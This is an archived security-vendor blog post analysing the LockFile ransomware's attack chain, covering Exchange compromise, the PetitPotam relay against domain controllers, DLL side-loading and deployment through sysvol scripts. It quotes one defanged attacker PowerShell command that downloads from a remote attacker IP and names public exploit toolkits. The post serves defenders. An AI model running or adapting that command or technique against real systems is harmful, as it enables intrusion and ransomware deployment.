# LockFile: Ransomware Uses PetitPotam Exploit to Compromise Windows Domain Controllers

By About the Author

Archived: 2026-04-05 14:22:43 UTC

***UPDATE August 23**: Third parties have identified a ProxyShell exploit as a potential vector for the PowerShell-related commands that are identified in this blog. Researcher Kevin Beaumont first spotted that ProxyShell was being exploited from 209.14.0[.]234 on August 13. The ProxyShell and LockFile link is also mentioned in this Twitter thread. Protection information has been updated below based on this new information.*

What appears to be a new ransomware family is being used to target victims in various industries around the globe.

The LockFile ransomware was first observed on the network of a U.S. financial organization on July 20, 2021, with its latest activity seen as recently as August 20. LockFile has been seen on organizations around the world, with most of its victims based in the U.S. and Asia.

Indications are that the attackers gain access to victims' networks via Microsoft Exchange Servers, and then use the incompletely patched PetitPotam vulnerability to gain access to the domain controller, and then spread across the network. It is not clear how the attackers gain initial access to the Microsoft Exchange Servers.

Victims are in the manufacturing, financial services, engineering, legal, business services, and travel and tourism sectors.

The attackers behind this ransomware use a ransom note with a similar design to that used by the LockBit ransomware gang (*Figure 1)* and reference the Conti gang in the email address they use - contact@contipauper[.]com.

## Attack chain

Exchange servers are compromised through an as yet unidentified technique. On exploitation, the attacker executes a PowerShell command such as the following:

*powershell wget hxxp://209.14.0[.]234:46613/VcEtrKighyIFS5foGNXH*

Other *powershell wget* commands to the same IP address use similar seemingly random high port numbers. It is unknown exactly what is downloaded by the PowerShell command; however, the attackers maintain access on victim networks for at least several days before beginning the ransomware attack.

Typically around 20 to 30 minutes prior to deploying ransomware, the attackers install a set of tools onto the compromised Exchange Server. Included in these tools is:

- An exploit for the CVE-2021-36942 vulnerability (aka PetitPotam). The code appears to be copied from https://github.com/zcgonvh/EfsPotato. This is in a file called “efspotato.exe”.
- Two files: active_desktop_render.dll and active_desktop_launcher.exe

The active_desktop_launcher.exe is a legitimate version of KuGou Active Desktop. The executable is being used in a DLL search order loading attack to load a malicious active_desktop_render.dll file. This active_desktop_render.dll file, when loaded by the active_desktop_launcher.exe, attempts to load and decrypt a file in the local directory called “desktop.ini”. If the file is successfully loaded and decrypted, shellcode from the file is executed. As the investigation into these attacks is ongoing, a copy of “desktop.ini” has yet to be retrieved for analysis.

The encrypted shellcode, however, very likely activates the efspotato.exe file that exploits PetitPotam. This is an NTLM relay attack bug that can be used by a low-privileged attacker to take over a domain controller. It was patched in Microsoft’s August Patch Tuesday release, but it subsequently emerged that the fix released reportedly did not fully patch the vulnerability.

Once access has been gained to the local domain controller, the attackers copy over the LockFile ransomware, along with a batch file and supporting executables, onto the domain controller. These files are copied into the “sysvol\domain\scripts” directory. This directory is used to deploy scripts to network clients when they authenticate to the domain controller. This means that any clients that authenticate to the domain after these files have been copied over will execute them.

The files that are copied into the Sysvol directory are:

- Autologin.bat
- Autologin.exe
- Autologin.dll
- Autologin.sys
- Autoupdate.exe

The Autoupdate.exe file is a variant of the LockFile payload, which is unique to each organization targeted.

The Autologin.exe, Autlogin.dll, and Autologin.sys files are all part of a toolkit called the Kernel Driver Utility (KDU - https://github.com/hfiref0x/KDU). Autologin.dll is the “Tanikaze.dll” component, and the autologin.exe is the “Hamakaze” component. It is currently unclear exactly how the KDU tool is utilized by the attacker in conjunction with the ransomware. Regardless of how they are utilized, the LockFile ransomware is ultimately executed.

## A new threat?

LockFile appears to be a new threat on the already crowded ransomware landscape. The investigation into this threat, and whether it may have links to any previously seen or retired ransomware threats continues. This is an ongoing investigation and Symantec, part of Broadcom Software, may update this blog with new information if it comes to light.

## Protection

The following protections are in place to protect customers against LockFile attacks:

**File-based**

- Ransom.Lockfile
- Ransom.CryptoTorLocker

**Network-based**

- OS Attack: SMB EFS NTLM Relay Attempt
- Audit: SMB EFS NTLM Relay Attempt 2
- Web Attack: Microsoft Exchange Server RCE CVE-2021-34473
- Web Attack: Microsoft Exchange Server Elevation of Privilege CVE-2021-34523

For the latest protection updates, please visit the Symantec Protection Bulletin.

**Policy-based**

Symantec Data Center Security default hardening policies for Microsoft Exchange servers and Windows Domain Controllers protect against ProxyShell vulnerabilities and prevent LockFile ransomware attacks on Domain Controllers.

## Indicators of Compromise

---